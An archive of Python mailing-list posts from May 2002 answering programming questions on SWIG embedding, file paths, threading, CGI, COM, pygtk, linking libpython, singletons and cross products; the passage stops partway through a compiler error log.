generated by SWIG a3d_m = PyImport_ImportModule("A3D"); a3d_md = PyModule_GetDict(a3d_m); console_class = PyDict_GetItemString(a3d_md, "ConsolePtr"); arg_tuple = PyTuple_New(1); PyTuple_SetItem(arg_tuple, 0, console_s) ; console = PyObject_CallObject(console_class, arg_tuple); Py_XDECREF(arg_tuple); arg_tuple = NULL; // Insert Python shadow class into global namespace main = PyImport_AddModule("__main__"); main_d = PyModule_GetDict(main); PyDict_SetItemString(main_d, "console", console); Py_XDECREF(console); Py_XDECREF(a3d_m); console = NULL; a3d_m = NULL; } and in your SWIG file, create a small section like the following: %{ extern swig_type_info _swigt__p_Console[]; PyObject *ToConsole(Console *c) { // _swigt__p_Console is a generated structure(?) that represents the C++ class extern swig_type_info _swigt__p_Console[]; return SWIG_NewPointerObj(c, _swigt__p_Console, 0); } %} The C++ instance that you pass to InsertObject is then available in Python as console in the __main__ namespace. I hope that this makes sense, and helps you :D Mark From shalehperry at attbi.com Fri May 10 13:48:57 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Fri, 10 May 2002 10:48:57 -0700 (PDT) Subject: get/set In-Reply-To: <20020510192720.0823ed15.wilk@flibuste.net> Message-ID: > it means that if i want to keep working with python 2.1 i need to use my > own get/set method ? > yes you do. But realize this is not C++ or Java. There are no private members. Class Sneaky: def __init__(self): self.a = 0 self.b = 0 def getA(self): return self.a def setA(self, val): self.a = val # normally would have checks foo = Sneaky() foo.a = 'Sean was here!' is 100% valid. Will you ever do it, likely not. But the key is, in python data hiding is by social contract not language controlled. The python idiom is usually to only have meothds when data checking is required or the value is computed. From cbbrowne at acm.org Sun May 5 01:29:26 2002 From: cbbrowne at acm.org (Christopher Browne) Date: Sun, 05 May 2002 01:29:26 -0400 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <1973EB72E5CE896A.E0B7C1131D78B3D3.8414FFB2D66513D4@lp.airnews.net> Message-ID: In an attempt to throw the authorities off his trail, claird at starbase.neosoft.com (Cameron Laird) transmitted: > In article , > Christopher Browne wrote: >>Your list should also include Ruby, and it's probably also worth >>taking a _quick_ look at REXX which is more mature than any of the >>other options out there. (I first ran into REXX back before Perl >>existed as a language; it was vastly preferable to EXEC2, which was >>the typical alternative...) > . > . > . > But Rexx still doesn't have ("native") COM or SOAP > facilities, right? Probably not. Those weren't factors in my mind, but I did say "_quick_ look," after all. > My speculation about the original questioner's circumstances is that > he'll love all the access Mark-assisted Python gives him to Win* > innards, to the point that, even apart from Python's other virtues, > he's certain to prefer it on that ground alone to Rexx. He'd also prefer Ruby and Perl to Rexx on roughly the same grounds. -- (reverse (concatenate 'string "moc.enworbbc@" "sirhc")) http://www.cbbrowne.com/info/scripting.html "Win32 sucks so hard it could pull matter out of a Black Hole." -- Pohl Longsine From andymac at bullseye.apana.org.au Thu May 16 04:07:54 2002 From: andymac at bullseye.apana.org.au (Andrew MacIntyre) Date: Thu, 16 May 2002 19:07:54 +1100 (edt) Subject: tkinter grid control In-Reply-To: Message-ID: On Wed, 15 May 2002, David LeBlanc wrote: > Is there one? If so, where can I find it? TkTable? should be Googlable... -- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac at bullseye.apana.org.au | Snail: PO Box 370 andymac at pcug.org.au | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From sholden at holdenweb.com Fri May 10 16:07:27 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 16:07:27 -0400 Subject: path.startswith(dir)? References: Message-ID: "Magnus Lie Hetland" wrote ... > I've got some code which tests for > > commonprefix([dir, filename]) == dir > > Assuming that dir ends with a separator (e.g. '/'), it ought to be > just as safe (and more concise) to use > > filename.startswith(dir) > > no? > > And -- ensuring that dir ends with a separator can be done with > > dir = join(dir, '') > > This ought to be a safe/platform independent way of doing it, right? > The safe, platform-independent way to do it is to use the functions provided in the os.path module. This should ensure that if someone comes up with a new way (in a new OS, of course) of describing file paths, you won't have to make changes to your code. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From timr at probo.com Mon May 20 02:50:46 2002 From: timr at probo.com (Tim Roberts) Date: Sun, 19 May 2002 23:50:46 -0700 Subject: why the code error? References: <180fb736.0205191850.4aaee16@posting.google.com> Message-ID: lunxian at yahoo.com (lunxian) wrote: >i'm a newbie of python. i encounter a problem in my programming. >here is my program. when it's running, a IOError always raised. >why? and how can i get more detail error message of the exception? If you get rid of the try/except, the error message will give you more information. >import os >import sys > >def Parser(filename): > lines = None > try: > fsock = file("forparser.py","r",0) I assume you meant file(filename,"r") here, but put the file name in directly for testing. Does "forparser.py" exist in the current directory? Otherwise, I don't see anything wrong with this. > try: > lines = fsock.readlines() > finally: > fsock.close() > except IOError: > print IOError.__str__ > return > > for line in lines: > print line I would have written all of that as: for line in open('filename').readlines(): print line but that's just personal preference. >if __name__ == "__main__": > Parser("c:\forparser.py") Backslashes have special meaning. You need to use one of these: Parser("c:\\forparser.py") Parser(r"c:\forparser.py") Parser("c:/forparser.py") Otherwise, the \f will be changed to a formfeed -- 0x0C. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From jacob at boris.cd.chalmers.se.cd.chalmers.se Mon May 20 10:40:28 2002 From: jacob at boris.cd.chalmers.se.cd.chalmers.se (Jacob Hallen) Date: 20 May 2002 14:40:28 GMT Subject: multithreading References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> Message-ID: In article <87sn4n6gz9.fsf at kursk.kassube.de>, Nils Kassube wrote: >"Rob Hall" writes: > >> Can anyone point me to a useful tutorial on multithreading? > >One advice: Avoid multithreading like the plague. > >Multithreading is a very big stability risk if you don't know exactly >what you are doing, i.e. most programmers most of the time. I plan to hold a useful tutorial at the Europython Conference. When you know some basic facts about the Threading module and know a few standard idioms for threads, they can be very useful and not error prone at all. However, they do require very much discipline of the user all of the time. Jacob Hall?n -- From usenet at REMOVETHISPHRASEblacklettersoftware.com Wed May 8 00:18:12 2002 From: usenet at REMOVETHISPHRASEblacklettersoftware.com (Richard Biffl) Date: Wed, 8 May 2002 00:18:12 -0400 Subject: Newbie question, python code <-> web formulare References: <3CD80F0E.1B4AC97E@west.de> Message-ID: A good starting point is http://www.python.org/topics/web/. I haven't gotten past a simple hello.py test program, but I found it easy with one of the CGI examples and a tip from my webhost (cedant.com) that I needed to put the file in my cgi-bin directory and make the first line of the file #!/usr/bin/python so the file would be processed by the interpreter. (Unfortunately, my webhost doesn't have mod_python installed -- another reason I need my own server.) The simple and apparently customary way to use python on the web is to have your script write out the html, the way other cgi programs work. There are application servers that can process python scripts embedded in html -- at least, I know of Webware, http://webware.sourceforge.net/ -- if you want python embedded in html, similar to php. Richard "Ben Thursfield" wrote in message news:3CD80F0E.1B4AC97E at west.de... > > I've been programming a bit in python for a few days now, und I'm now at > the point where I want to embed my Python code into my webpage somehow. > For example I'm connecting to my mailserver using the socket lib and I > want to be able to transfer data between the python program and a web > formulare (e.g. login+pass). I don't know how to manage that though. I > manage it when i do it locally but i don't know how to get my webhost to > run the python programm so i can communicate with it. > Is this possible at all? Can I use Python in a PHP manner? From pinard at iro.umontreal.ca Thu May 30 11:18:59 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 30 May 2002 11:18:59 -0400 Subject: Why no open(f, "w").write()? In-Reply-To: References: Message-ID: [Delaney, Timothy] > > From: Donn Cave [mailto:donn at drizzle.com] > > The real Python _is_ implementation. We all know that you actually > > can rely on timely finalization, and we can guess why the > > documentation says what it says. > Then get it documented to say that it can be relied on, now and forever. That would be ideal, indeed. Despite my current choices, there is always a tiny, unlikely risk that Python changes his behaviour on this, despite what I was told, and I would surely prefer not have to revise the code I wrote. But if I ever have to revise it, for Jython or otherwise, I will be happy having enjoyed the current legibility and simplicity for a long while! Once again, I would not have started depending on immediate finalisation before getting a confirmation of some sort that it is dependable. On one hand, I've always have been strict, anal, at using only documented features, in all systems and languages I've used in my life. On the other hand, in this precise case, the advantages were so appealing that I felt compelled to ask for clarification about the dependability of immediate finalisation. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From Ed.Smirnov at mail.ee Sun May 12 09:13:17 2002 From: Ed.Smirnov at mail.ee (Eduard Smirnov) Date: Sun, 12 May 2002 15:13:17 +0200 Subject: System integration using Python: is it possible ? Message-ID: <3cde5c6e$0$7924$bb624dac@diablo.uninet.ee> Hi, Python?s peoples Your help in the answer to the following question is necessary for my diplom thesis: I consider that to integrate among themselves large systems is possible and much easier using scripting language (e.g. Python) than with system?s programming language (e.g. C++). Under the term ?integration? I mean * automation of operations of one system above other, which was performed manually before automation, * carry of results of one system into other (especially at a level of the data), * creation of the applications using simultaneously a functions of several systems (at the API level). Your comments, agree and not agree answers, are welcomed. If you have experience of integration of the large program systems with the help of scripting languages or some experience of using scripting language instead of system?s programming language for creation of the programs, please write to me about the purposes and reached outcomes. If it is possible copy your answer to my e-mail. Beforehand thank you. Eduard.Smirnov at mail.ee Tallinn Technical University (http://www.ttu.ee) From vvainio at tp.spt.fi Mon May 20 07:35:11 2002 From: vvainio at tp.spt.fi (Ville Vainio) Date: 20 May 2002 04:35:11 -0700 Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> <3CE52011.8EC24010@juno.com> Message-ID: Jeff Sandys wrote in message news:<3CE52011.8EC24010 at juno.com>... > emacs with python mode xemacs ships with python mode as a default, while gnu emacs apparently doesn't (though it appears to be installed on red hat 7.3 version of gnu emacs). Does anyone know why gnu emacs is not bundling python-mode? Not that I would switch back from xemacs if they did, just curious... From jblazi at hotmail.com Fri May 10 03:17:05 2002 From: jblazi at hotmail.com (jb) Date: Fri, 10 May 2002 09:17:05 +0200 Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <3CDA9B3C.F2D00FE6@cascade-sys.com> <20020509113410.C18545@unpythonic.net> <3cdb711c_4@goliath2.newsgroups.com> Message-ID: <3cdb71e5_4@goliath2.newsgroups.com> jb wrote: >> Unless the compiler could look (somehow!) into the definition of each >> __nonzero__, or disable optimizations if _getframe(), sys.exc_info(), >> etc. are used *anywhere* in the Python code, then there's no way it can >> build that optimization. Sorry, I must have pressed some idiotic key. And what about pure calculations? Let for example a,b and c be long integers. Then what about x1=a*b*c+1-3 y1=sqrt(a*b*c+7) or more simply res= a / b rest = a % b Can such calculations be optimized? -- Janoss Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsgroups.Com - Uncensored Usenet News ==---------- http://www.newsgroups.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From dsavitsk at e-coli.net Wed May 15 00:05:46 2002 From: dsavitsk at e-coli.net (dsavitsk) Date: Wed, 15 May 2002 04:05:46 GMT Subject: Simple DCOM example? References: <3ce1e2c7$0$26393$724ebb72@reader2.ash.ops.us.uu.net> Message-ID: by under, i mean physically under ... class foo: _reg_clsid_ = '{ -- SOME GUID -- }' _reg_clsctx_ = pythoncom.CLSCTX_LOCAL_SERVER ... def bar(self): #etc ... in case that wasn't clear. -d "dsavitsk" wrote in message news:aYkE8.14830$d7.4682110 at newssrv26.news.prodigy.com... > if the COM server is a Python COM server, add the line > > _reg_clsctx_ = pythoncom.CLSCTX_LOCAL_SERVER > > under your _reg_clsid_ and all should work well. also, you can skip the > userName parameter. > > -d > > > "Tim Hamza" wrote in message > news:3ce1e2c7$0$26393$724ebb72 at reader2.ash.ops.us.uu.net... > > Hey all, > > > > I have been playing around with the win32com stuff. I have the same COM > > object on two Win2k boxes that I can use on each box as in the demo. Is > > there an easy way to access COM objects between machines? I grasped at > > variations of the win32com.client.DispatchEx straw because it lists > machine > > as a parameter. > > > > Ex > > w = win32com.client.DispatchEx("someObject.Application", > machine="otherPC", > > userName="goodUserOnBothPCs") > > > > This returns the right kind of object, but calling its methods does not > > affect the app on other PC. > > > > Have read win32com docs and googled. Easy answer or no? > > > > Thanks, > > > > Tim > > > > > > From aahz at pythoncraft.com Thu May 9 13:16:30 2002 From: aahz at pythoncraft.com (Aahz) Date: 9 May 2002 13:16:30 -0400 Subject: Python vs. Perl, which is better to learn? References: <3CDAA5A5.D4077E5C@fnal.gov> Message-ID: In article <3CDAA5A5.D4077E5C at fnal.gov>, David J. Ritchie wrote: > >I originally thought the indentation thing was cute, cool, and elegant >but I must admit that over time the inability to easily move blocks of >code around without reformatting the indentation is a pain. Yes, yes, >I know a suitably talented editor can make the job easier but... Actually, I have a different point: why are you moving blocks of code? -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ See me at OSCON! I'm teaching Python for [Perl] Programmers, a fast intro for all experienced programmers (not just Perl). Early bird ends June 10. http://conferences.oreillynet.com/os2002/ From aleax at aleax.it Thu May 2 10:54:01 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 2 May 2002 16:54:01 +0200 Subject: Newbie: finding the key/index of the min/max element In-Reply-To: <3CD14EE9.22B7F4F2@cascade-sys.com> References: <200204301620.00255.bhan@andrew.cmu.edu> <200205021352.g42Dqeq06229@cascade.cascade-sys.com> <3CD14EE9.22B7F4F2@cascade-sys.com> Message-ID: On Thursday 02 May 2002 04:36 pm, James J. Besemer wrote: ... > > > earlier, when we were talking about map() and filter(). > > > > Those ARE higher-order functions, you know. > > You'll have to define the term for me then. http://burks.brighton.ac.uk/burks/foldoc/74/52.htm > (b) perhaps assignment can be eliminated in some kind of "pure" FP (like in > "pure" Scheme). BUt in practice programmers need to put the results > somewhere. Seems FP could apply to your "overall style" and still use > assignment. > > But you're the expert. Me? "I am but an egg". Still: "assignment" (of the single kind, i.e., no RE-binding) is quite compatible with FP; RE-binding and mutation aren't (if and when you use them, you're thereby "escaping" the paradigm -- just like, e.g., a cut in Prolog takes you out of Logic Programming, a procedural trigger in your SQL takes you out of Relational Programming, and so on). An analogy: if (e.g. in C) *most* of my programming uses structured control flow via if/while/&c, and "once in a while" I do a goto, am I doing "structured programming" or not? It's no doubt a matter of emphasis -- but surely languages utterly bereft of goto, such as Python, put you under less temptation. And, sure, gotoless programming is quite easy, no matter the fact that "in practice programmers need to have their control flow go hither and thither". Similarly for FP -- programming with immutable data and unrebindable names. Your data "comes from" somewhere and eventually "goes" somewhere, but (performance considerations apart) there's no problem that actually _requires_ you to be able to mutate it or rebind names. Given that performance considerations cannot necessarily be _kept_ apart, the main worth of FP is still as a thinking tool (in most cases). Python lets you do a fair amount of FP (including, with creative use of iterators/generators, the "lazy evaluation" parts of it), but for purely formative purposes, trying out something really different such as Haskell (if you're into static typing) or Erlang (if you like dynamic typing), where you're basically "forced" to follow the paradigm, can be quite instructive, IMHO. Alex From ritchie at fnal.gov Thu May 9 18:19:16 2002 From: ritchie at fnal.gov (David J. Ritchie) Date: Thu, 09 May 2002 17:19:16 -0500 Subject: Python vs. Perl, which is better to learn? References: Message-ID: <3CDAF5E4.8495CF8C@fnal.gov> Bjorn Pettersen wrote: > > From: geek [mailto:geek+ at andrew.cmu.edu] > > > ... > > > Eventually I'll factor out some code and use cut-and-paste to > > create a new function. Pretty often I have to indent/dedent > > to make the old code match the new block. It's no biggie, > > though, 'cause I use xemacs so I can just C-c < or C-c > as necessary. > > Can we assume that you would reindent the code to fit the surroundings > if you were writing in e.g. C also? > > -- bjorn But of course the point is that if you didn't quite do it just exactly right, but left whatever block delimiters the language had in place, it would not have a disastrous effect on the execution logic. Again, it's great that Python forces you to get the indentation right but it does mean that there is a sensitivity to context in the way things are interpreted. White space matters whether T.S. Eliot poetry ( http://people.a2000.nl/avanarum/Waste_notes/Waste_A.htm ) or Python... --D. -- ritchie at fnal.gov From jwilhelm at outsourcefinancial.com Fri May 17 11:54:27 2002 From: jwilhelm at outsourcefinancial.com (Joseph Wilhelm) Date: 17 May 2002 08:54:27 -0700 Subject: pygtk vs. wxPython In-Reply-To: <3CE4E081.10908@thomas-guettler.de> References: <3CE4E081.10908@thomas-guettler.de> Message-ID: <1021650867.3491.6.camel@jwilhelm.ofsloans.com> > How well does pygtk run on windows? I've used it very little on Windows myself, just basic apps/widgets, but from my experience it did work with relative ease. I believe there may have been one or two small hitches to begin with, but after that I had no problems. > > The FAQ: > > ""1.4. Where can I get PyGTK for Windows? > (Assuming you really want to do this, you should be aware that > PyGTK works reasonably well on Windows, much to the credit of GTK+, > Python and PyGTK developers and porters) > ... > """ For right now, if you want to use PyGTk+ on Windows, I believe you can use it directly on top of the Win32 port of GTk+ done by Tor Lillqvist, found here: http://www.gimp.org/~tml/gimp/win32/ Also, AFAIK, GTk+ 2.0 has a Win32 port provided in the core distribution. So this should make it somewhat easier to get ahold of and potentially more feature-complete. > > Has some one experience with pygtk on windows? > Which problems did you have? > > thomas > > -- > http://mail.python.org/mailman/listinfo/python-list Hope this helps you out some! --Joseph Wilhelm From uwe at rocksport.de Tue May 14 13:59:56 2002 From: uwe at rocksport.de (Uwe Schmitt) Date: 14 May 2002 17:59:56 GMT Subject: dynamic functions References: Message-ID: Uwe Mayer wrote: | In article , | brian at sweetapp.com says... | To speak cleartext: | I want a class which is initialised with a function in the constructor, | a = MyClass(lambda x: x < 3) | b = MyClass(lambdy y: y %2 == 0) | which returns a boolean value. | Classes of this type support concatenation in the sense of a logical | AND, so for: | a.concate(b) | a(x) should test for (x < 3) and (x %2 == 0). | How can I do that? class dynfunc: def __init__(self, fun): self.funlist=[fun] def concat(self, newclass): self.funlist+=newclass.funlist def __call__(self, arg): for fun in self.funlist: res=fun(arg) if res==0: break res=1 return res a=dynfunc(lambda x: x<10) b=dynfunc(lambda x: x%2==1) a.concat(b) print a(4) print a(3) greetins, uwe. -- Dr. rer. nat. Uwe Schmitt ICQ# 159647634 Uwe.Schmitt at num.uni-sb.de Universitaet des Saarlandes Angewandte Mathematik Building 36.1 Room 4.17 PO-Box 151150 D-66041 Saarbruecken Mobile:0177/6806587 Fax:+49(0)681/302-4435 Office:+49(0)681/302-2468 From jason at mastaler.com Wed May 22 15:19:09 2002 From: jason at mastaler.com (Jason R. Mastaler) Date: Wed, 22 May 2002 13:19:09 -0600 Subject: rfc822 module: deleting headers References: <3CEB8864.D477B475@engcorp.com> Message-ID: Peter Hansen writes: > (Jason, I've had TMDA installed for about ten hours, and already my > spam level has dropped to zero. Thank you!) Glad to hear it! -- (http://tmda.sourceforge.net/) From noah at noah.org Fri May 3 02:51:23 2002 From: noah at noah.org (Noah Spurrier) Date: Thu, 2 May 2002 23:51:23 -0700 Subject: Message queueing References: <53306300330-BeMail@sugoi> Message-ID: <020f01c1f26e$f07af980$0400a8c0@saysyou> You have quite an impressive history log there. Two years of pretty consistant development. It looks interesting. Do you have any sample applications? I like the fact that you have a Python client interface. Is it POSIX? It says it's for BeOS and "other operating systems". That makes me nervous (no offense to all you BeOS freaks...). Yours, Noah ----- Original Message ----- From: "jaf" To: Cc: Sent: Thursday, May 02, 2002 11:33 PM Subject: Re: Message queueing > Hi Noah, > > If I may be so bold as to plug my own software, I think you will > find that MUSCLE does a good job of implementing message-queues-over- > TCP. > It has lots of other features as well, which I won't recount here--but > I will > note that it is open source, and includes a Python implementation of > the > client API. > > http://www.lcscanada.com/muscle/index.html > > Cheers, > Jeremy > > >It's sad, but the importance of message queues does not seemed to have > > been > >picked up by the open source community. As far as I can tell there are > > no > >open source message queues... I don't have a job, maybe someone wants > > to > >help me write one :-) > > > From mlk_opsteegh at yahoo.com Fri May 10 09:24:25 2002 From: mlk_opsteegh at yahoo.com (Marcel L.K. Opsteegh) Date: 10 May 2002 06:24:25 -0700 Subject: singleton in python ? References: <1020669846.963494@newsmaster-04.atnet.at> Message-ID: "fritz steindl \(-:fs\)" wrote in message news:<1020669846.963494 at newsmaster-04.atnet.at>... > hi, > > what is the best way to implement a singleton in python ??? > > ( class that allows only _one_ instantiation - like java singletons) > > i miss static variables and functions in python (or i don't see them :-) > > > > fritz > (-:fs) I implement a sigleton normally as following: class DatabaseManager: # Singleton (recycle connections) theConnectionPool = None class __ConnectionPool: def __init__(self): ... def getCursor(self, aRecycleFlag = CURSOR_RECYCLE): ... def __init__(self): if DatabaseManager.theConnectionPool == None: DatabaseManager.theConnectionPool = DatabaseManager.__ConnectionPool() else: pass def __getattr__(self, aName): return getattr(self.theConnectionPool, aName) Regards, Marcel. From "aglyport\" at n-o.s,p/a__m.yahoo.com> Mon May 20 16:59:43 2002 From: "aglyport\" at n-o.s,p/a__m.yahoo.com> (Anton Graph) Date: Mon, 20 May 2002 13:59:43 -0700 Subject: -lModules -lPython -lObjects -lParser References: Message-ID: Martin v. Loewis wrote: > Anton Graph <""aglyport\"@n-o.s,p/a__m.yahoo.com> writes: > > >>Btw, whatever happened to Modules Python Objects Parser quadruplet? >>Was it replaced by the pythonX.Y lib? > > > Yes; that happened in Python 1.5, I believe. > > >>And why is config file a part of that lib now? > > > Because the build process combines essentially all objects; libpython > is linked to main. Does this cause problems? It does for me: g++ -V 2.95.3 -g -o metadb metadb.o metaadb.o metaddl.o metapy.o i386-linux.o -L/usr/local/lib/python2.2/config -lpython2.2 config2.o -lpthread -ldl -lutil -lm config2.o(.data+0x0):/usr/local/agl/metadb/config2.c: multiple definition of `_PyImport_Inittab' /usr/local/lib/python2.2/config/libpython2.2.a(config.o)(.data+0x0):/usr/local/src/Python-2.2.1/Modules/config.c: first defined here /usr/bin/ld: Warning: size of symbol `_PyImport_Inittab' changed from 120 to 128 in config2.o /usr/local/lib/python2.2/config/libpython2.2.a(posixmodule.o): In function `posix_tmpnam': /usr/local/src/Python-2.2.1/./Modules/posixmodule.c:4501: the use of `tmpnam_r' is dangerous, better use `mkstemp' /usr/local/lib/python2.2/config/libpython2.2.a(posixmodule.o): In function `posix_tempnam': /usr/local/src/Python-2.2.1/./Modules/posixmodule.c:4451: the use of `tempnam' is dangerous, better use `mkstemp' collect2: ld returned 1 exit status What am I doing wrong? In 1.4 I was modifying config.c and linking it with the python libs to extend the interpreter. But now it no longer works. config2.c: struct _inittab _PyImport_Inittab[] = { {"thread", initthread}, {"signal", initsignal}, {"posix", initposix}, {"_sre", init_sre}, {"new", initnew}, {"_symtable", init_symtable}, {"xxsubtype", initxxsubtype}, /* -- ADDMODULE MARKER 2 -- */ /* This module lives in marshal.c */ {"marshal", PyMarshal_Init}, /* This lives in import.c */ {"imp", initimp}, /* These entries are here for sys.builtin_module_names */ {"__main__", NULL}, {"__builtin__", NULL}, {"sys", NULL}, {"exceptions", NULL}, #ifdef WITH_CYCLE_GC /* This lives in gcmodule.c */ {"gc", initgc}, #endif /* AGL's modules */ {"metadb", initmetadbtypes}, ^^^^^^^^^^^^^^^^^^^^^^^^^^ I've added this type. /* Sentinel */ {0, 0} }; I have about three different programs with different extension modules so I would rather avoid having three diffrerent libpython2.2 libs differing only in the config.c part. From claird at starbase.neosoft.com Wed May 8 23:16:41 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 8 May 2002 22:16:41 -0500 Subject: Hello Newb here References: <_ujC8.155$wG1.137@nwrddc04.gnilink.net> <9VkC8.12535$2E.446014@news2.ulv.nextra.no> Message-ID: <1D5BD6D322CB410B.DAFE801891A7E567.1F28D75604421507@lp.airnews.net> In article <9VkC8.12535$2E.446014 at news2.ulv.nextra.no>, Erlend J. Leiknes wrote: . . . >You should be able to do alot of stuff after 5 days in python... >(like writing code without constantly looking in the API documentation etc >;) > >And for a beginner, stay far away from GUI, you will learn that later. (or >you can use cgi/html as a frontend for your programs) . . . Not necessarily. Some beginners start with GUIing, and find Python quite congenial. An even larger number, I'd estimate, understand Tkinter quicker than they do CGI. Your advice might be right in this case. It's not universal, though, from what I can tell. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From claird at starbase.neosoft.com Mon May 20 08:35:33 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 20 May 2002 07:35:33 -0500 Subject: Python w/Forth Runtime???? References: <3CE5AFD3.32D59F@tundraware.com> <3CE5C208.5F41AD8A@tundraware.com> Message-ID: In article <3CE5C208.5F41AD8A at tundraware.com>, Tim Daneliuk wrote: >Gerhard H?ring wrote: >> >> Tim Daneliuk wrote in comp.lang.python: >> > Python does just what needs doing ... see the end of this piece for why: >> > >> > http://www.tundraware.com/Technology/Bullet/ >> >> What's the connection with the Subject of your posting? >> > >At the end of the piece I suggest that a "ideal" language would be one >which has the paradigmatic richness of Python but whose runtime execution >environment was reaslized in something very sleek and light like Forth. > >The overal article is about the dangers of locking into a single programming >paradigm (like OO) for everything and that real world problems require >multiple *simultaneous* paradigms for reasonable solutions. I think >Python is almost alone in trying to incroporate that very idea in >the language. . . . This thread has touched on all sorts of other languages, including such favorites of mine as Erlang, Lisp, and Oz. You might also want to look into Lua, which emphasizes both near-Forthian lightness and Pythonic abstractive power. We've got a piece on Lua scheduled for publication tomor- row. Keep an eye on . -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From webmaster at apologetyka.com.pl Fri May 3 08:44:54 2002 From: webmaster at apologetyka.com.pl (Jaros³aw Zabie³³o (delete .PL)) Date: Fri, 03 May 2002 14:44:54 +0200 Subject: Multidimensional arrays - how? References: <6vv4du8mu1hj59k7g0uq58r24mp74g02hu@4ax.com> Message-ID: On Fri, 3 May 2002 08:38:24 -0400, "rzed" wrote: >>>> x = {} >>>> book,chapter,para=0,0,0 >>>> x[book,chapter,para] = 'text0' >>>> book,chapter,para=0,0,1 >>>> x[book,chapter,para] = 'text1' >>>> x[0,0,1] >'text1' >>>> x[0,0,0] >'text0' It was so simple that I even didn't try this way. :) It is exactly I needed. Thanx. -- Jaros?aw Zabie??o (UIN: 6712522) URL: http://3585753410/~zbiru From jochen at jochen-kuepper.de Mon May 20 00:01:57 2002 From: jochen at jochen-kuepper.de (Jochen =?iso-8859-1?q?K=FCpper?=) Date: 20 May 2002 00:01:57 -0400 Subject: Extending python with C References: Message-ID: On Sun, 19 May 2002 14:33:07 -0600 Fernando P?rez wrote: Fernando> James T. Dennis wrote: >> One question about weave; does it require a C compiler at run-time? >> How does weave work? Does it pass the C out to a compiler, (and >> presumably to the set of Python headers and libraries)? Does it save >> the resulting .so file just like Python saves .pyc? Fernando> Not just a C compiler, it needs a C++ compiler. I use it undre linux so it's Fernando> not an issue, g++ is always around. But weave's developer works under Windows Fernando> (mainly, though not exclusively) so I know it will also work under Windows. Fernando> But I just don't know what the details there are. Although I've never used it on win, I seem to remember that Eric (its main developer) uses it with the mingw g++. Greetings, Jochen -- Einigkeit und Recht und Freiheit http://www.Jochen-Kuepper.de Libert?, ?galit?, Fraternit? GnuPG key: 44BCCD8E Sex, drugs and rock-n-roll From jepler at unpythonic.net Tue May 28 17:11:06 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Tue, 28 May 2002 16:11:06 -0500 Subject: variable X procuct - [(x,y) for x in list1 for y in list2] In-Reply-To: <1022619068.34271@newsmaster-04.atnet.at> References: <1022619068.34271@newsmaster-04.atnet.at> Message-ID: <20020528161106.W17765@unpythonic.net> On Tue, May 28, 2002 at 08:42:17PM +0000, steindl fritz wrote: > hi list, > > first - maybe sombody can help me with the english expression for the > german word 'kreuzprodukt' - this my question is dealing with "cross-product" or "cartesian product", I think. In Python 2.2, the following code seems to work: def cross(l=None, *args): if l is None: # The product of no lists is 1 element long, # it contains an empty list yield [] return # Otherwise, the product is made up of each # element in the first list concatenated with each of the # products of the remaining items of the list for i in l: for j in cross(*args): yield [i] + j for i in cross("12", "abc", "xyzw"): print i before generators, you'd have to write the code in a slightly different way... Jeff From sandskyfly at hotmail.com Fri May 17 00:11:27 2002 From: sandskyfly at hotmail.com (Sandy Norton) Date: 16 May 2002 21:11:27 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: Message-ID: BTW, this extension does not compile correctly on with Visual C++ I get the following error message after doing a 'python setup.py build' running build running build_ext building 'set' extension set.c set.c(1214) : error C2099: initializer is not a constant set.c(1216) : warning C4047: 'initializing' : 'int ' differs in levels of indirection from 'char [4]' set.c(1217) : warning C4047: 'initializing' : 'char *' differs in levels of indirection from 'unsigned int ' set.c(1219) : warning C4047: 'initializing' : 'int ' differs in levels of indirection from 'void (__cdecl *)(struct _object *)' set.c(1224) : warning C4047: 'initializing' : 'int (__cdecl *)(struct _object *,struct _object *)' differs in levels of indirection from 'struct _object *(__cdecl *)(struct _object *)' set.c(1225) : warning C4047: 'initializing' : 'struct _object *(__cdecl *)(struct _object *)' differs in levels of indirection from 'struct PyNumberMethods *' set.c(1226) : warning C4133: 'initializing' : incompatible types - from 'struct PySequenceMethods *' to 'struct PyNumberMethods *' set.c(1228) : warning C4047: 'initializing' : 'struct PyMappingMethods *' differs in levels of indirection from 'long (__cdecl *)(struct _object *)' set.c(1235) : warning C4047: 'initializing' : 'struct PyBufferProcs *' differs in levels of indirection from 'const int ' set.c(1236) : warning C4047: 'initializing' : 'long ' differs in levels of indirection from 'char *' set.c(1237) : warning C4047: 'initializing' : 'char *' differs in levels of indirection from 'int (__cdecl *)(struct _object *,int (__cdecl *)(struct _object *,void *),void *)' set.c(1239) : warning C4047: 'initializing' : 'int (__cdecl *)(struct _object *)' differs in levels of indirection from 'struct _object *(__cdecl *)(struct _object *,struct _object *,int )' set.c(1241) : warning C4047: 'initializing' : 'long ' differs in levels of indirection from 'struct _object *(__cdecl *)(struct _object *)' set.c(1243) : warning C4047: 'initializing' : 'struct _object *(__cdecl *)(struct _object *)' differs in levels of indirection from 'struct PyMethodDef *' set.c(1251) : warning C4047: 'initializing' : 'long ' differs in levels of 